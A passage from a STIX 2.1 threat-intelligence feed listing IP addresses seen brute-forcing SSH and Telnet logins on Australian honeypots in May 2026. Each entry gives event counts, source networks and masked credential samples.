      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC.",
      "id": "indicator--e0418d0f-2a87-4390-9205-bb2453e73390",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:15:10.000Z",
      "valid_until": "2026-06-07T14:15:08.000Z"
    },
    {
      "created": "2026-05-06T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 27895. Organisation(s): Nucleo S.A..",
      "id": "indicator--ac117c74-1e4e-493d-9b3a-d41f677cba01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.85.211.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:15:10.000Z",
      "valid_until": "2026-06-07T14:15:08.000Z"
    },
    {
      "created": "2026-05-06T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--69f2de91-b4d0-443f-bc7c-090ce50f8de6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.65.169.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:15:10.000Z",
      "valid_until": "2026-06-07T14:15:08.000Z"
    },
    {
      "created": "2026-05-06T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 149584. Organisation(s): SCNSKY DIGITAL OPC PRIVATE LIMITED.",
      "id": "indicator--a3e579d3-f6c0-414f-a6a3-bbd7445a6188",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.50.197.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:15:10.000Z",
      "valid_until": "2026-06-07T14:15:08.000Z"
    },
    {
      "created": "2026-05-06T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GA. ASN(s): 16058. Organisation(s): Gabon-Telecom.",
      "id": "indicator--64011ed3-c4ea-49e8-a700-269d2f818494",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.158.239.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:15:10.000Z",
      "valid_until": "2026-06-07T14:15:08.000Z"
    },
    {
      "created": "2026-05-06T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): d******r, u****u. Passwords observed (masked): 1***5, q****3.",
      "id": "indicator--b4ed19a5-51ff-4358-ad12-cf6e697dfe24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.176.211.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:15:10.000Z",
      "valid_until": "2026-06-07T14:15:08.000Z"
    },
    {
      "created": "2026-05-06T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 44217. Organisation(s): IQ Networks for Data and Internet Services Ltd.",
      "id": "indicator--f551f956-5a88-4277-a81f-359564da63ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.201.243.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:15:10.000Z",
      "valid_until": "2026-06-07T14:15:08.000Z"
    },
    {
      "created": "2026-05-06T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--8607e060-d1ce-4fd8-a0f6-6c08b6e7acad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T14:15:10.000Z",
      "valid_until": "2026-06-07T14:15:08.000Z"
    },
    {
      "created": "2026-05-06T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--4aea7a32-711d-49f1-87ab-8616f4268fbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.254.120.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T15:15:10.000Z",
      "valid_until": "2026-06-07T15:15:08.000Z"
    },
    {
      "created": "2026-05-06T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9304. Organisation(s): HGC Global Communications Limited.",
      "id": "indicator--76e9736e-f4ec-4006-b9e0-25c66064cea0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.131.167.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T15:15:10.000Z",
      "valid_until": "2026-06-07T15:15:08.000Z"
    },
    {
      "created": "2026-05-06T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 43350. Organisation(s): NForce Entertainment B.V..",
      "id": "indicator--5ee36acd-4492-4b81-af8f-a7b19bbef225",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.107.80.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T15:15:10.000Z",
      "valid_until": "2026-06-07T15:15:08.000Z"
    },
    {
      "created": "2026-05-06T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--825f5c66-fdf3-4426-8eeb-89ead0c8f73d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.73.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T15:15:10.000Z",
      "valid_until": "2026-06-07T15:15:08.000Z"
    },
    {
      "created": "2026-05-06T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): d****n. Passwords observed (masked): t*****d.",
      "id": "indicator--c5da472a-eca2-4998-8a1d-70b5b225765f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.184.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T15:15:10.000Z",
      "valid_until": "2026-06-07T15:15:08.000Z"
    },
    {
      "created": "2026-05-06T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 52040. Organisation(s): LLC MediaKvant.",
      "id": "indicator--37eb779e-1a77-4155-80ef-af4fe4afe30a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.237.200.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T15:15:10.000Z",
      "valid_until": "2026-06-07T15:15:08.000Z"
    },
    {
      "created": "2026-05-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 6810. Organisation(s): Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD..",
      "id": "indicator--8aff78e4-46c3-4b1a-9184-50333ca9af9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.67.161.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:15:10.000Z",
      "valid_until": "2026-06-07T16:15:08.000Z"
    },
    {
      "created": "2026-05-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--308355ae-b2e7-446a-a8b4-a661c25aa95b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.229.183.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:15:10.000Z",
      "valid_until": "2026-06-07T16:15:08.000Z"
    },
    {
      "created": "2026-05-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--d5cb9ae1-44d6-4a11-b52e-dd0eb307ddf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.72.156.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:15:10.000Z",
      "valid_until": "2026-06-07T16:15:08.000Z"
    },
    {
      "created": "2026-05-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--2fec1482-4348-4753-9e84-cb9a839da465",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.86.101.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:15:10.000Z",
      "valid_until": "2026-06-07T16:15:08.000Z"
    },
    {
      "created": "2026-05-06T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): u****u. Passwords observed (masked): W***********5.",
      "id": "indicator--1938992a-2ca5-4243-8527-e51fbfc123ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.7.5.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:15:10.000Z",
      "valid_until": "2026-06-07T16:15:08.000Z"
    },
    {
      "created": "2026-05-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328471. Organisation(s): Hero-Telecoms.",
      "id": "indicator--c76c6ebb-b1ba-4828-a572-5fbdab16477b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.73.163.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:15:10.000Z",
      "valid_until": "2026-06-07T16:15:08.000Z"
    },
    {
      "created": "2026-05-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 43. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52783. Organisation(s): ALCANS TELECOM LTDA.",
      "id": "indicator--28edc43c-3f68-4e0e-b27b-0afa40937dd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.78.119.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:15:10.000Z",
      "valid_until": "2026-06-07T16:15:08.000Z"
    },
    {
      "created": "2026-05-06T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17451. Organisation(s): BIZNET NETWORKS. Usernames observed (masked): u****u, a***n, ***, h****p, r**t. Passwords observed (masked): 1******r, ***, 1*******3, 1****6, 1******8.",
      "id": "indicator--8880c668-173c-4196-b4fb-f744e725a3e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.253.79.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:15:10.000Z",
      "valid_until": "2026-06-07T16:15:08.000Z"
    },
    {
      "created": "2026-05-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 44217. Organisation(s): IQ Networks for Data and Internet Services Ltd.",
      "id": "indicator--7ab0edb6-c638-402b-bd2f-cf39843671f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.201.226.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:15:10.000Z",
      "valid_until": "2026-06-07T16:15:08.000Z"
    },
    {
      "created": "2026-05-06T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10796. Organisation(s): Charter Communications Inc.",
      "id": "indicator--d8f7cb26-bca2-4dc4-b64a-7cb0c41375cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.92.142.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:15:10.000Z",
      "valid_until": "2026-06-07T16:15:08.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): g***t. Passwords observed (masked): p******d.",
      "id": "indicator--352d9374-2103-457b-9d91-9bd51d146de3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.149.27.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135738. Organisation(s): Adn Broadband.",
      "id": "indicator--1d4a4cdc-05ef-4afe-b4c5-0a368287037a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.158.120.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 133209. Organisation(s): Saturn Internet Service.",
      "id": "indicator--9d2ef145-18f0-4689-ab58-3c0635b4e243",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.186.102.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--9e3ad8fe-1c3c-47d2-a293-663ac51aad3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.238.82.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--013edf2c-ce39-46e8-aa96-03a68c699690",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.248.188.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--04c8b00c-e18f-4779-ba27-799ecc8bdc86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): , A**************************************************************6, G************1, b*****************************************'. Passwords observed (masked): , H**********************3, U*********************************************************************************************************************************************0, g************************0.",
      "id": "indicator--c7b2ee07-cbfd-4831-9683-3fc72c2a874f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.160.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 8796. Organisation(s): FASTNET DATA INC. Usernames observed (masked): u****u, m*****n, r**t, 3**********4, a***n. Passwords observed (masked): ***, 1***5, 1****6, 1******8, 1********0.",
      "id": "indicator--17c56cd9-4c04-466d-a164-6885a6008d50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.238.224.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--2c8db0d3-6a52-48a1-bfe4-dca4599349cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0d2f52e6-5bf6-495b-b276-e3b9e1a8141a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 238. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 7738. Organisation(s): V tal. Usernames observed (masked): r**t, 3**********4, o****e, t**t, ***. Passwords observed (masked): 3***********4, 3**********4, t**t, !******x, 0**0.",
      "id": "indicator--158494ee-0367-41a9-8d12-8e14e26ecef7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.165.70.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:15:10.000Z",
      "valid_until": "2026-06-07T17:15:09.000Z"
    },
    {
      "created": "2026-05-06T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 316. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, t**t, p******s, u****u, 3**********4. Passwords observed (masked): 3***********4, 3**********4, t**t, !******x, 0**0.",
      "id": "indicator--975c57cb-1ab9-42c6-9845-226a1f253f6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.251.245.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
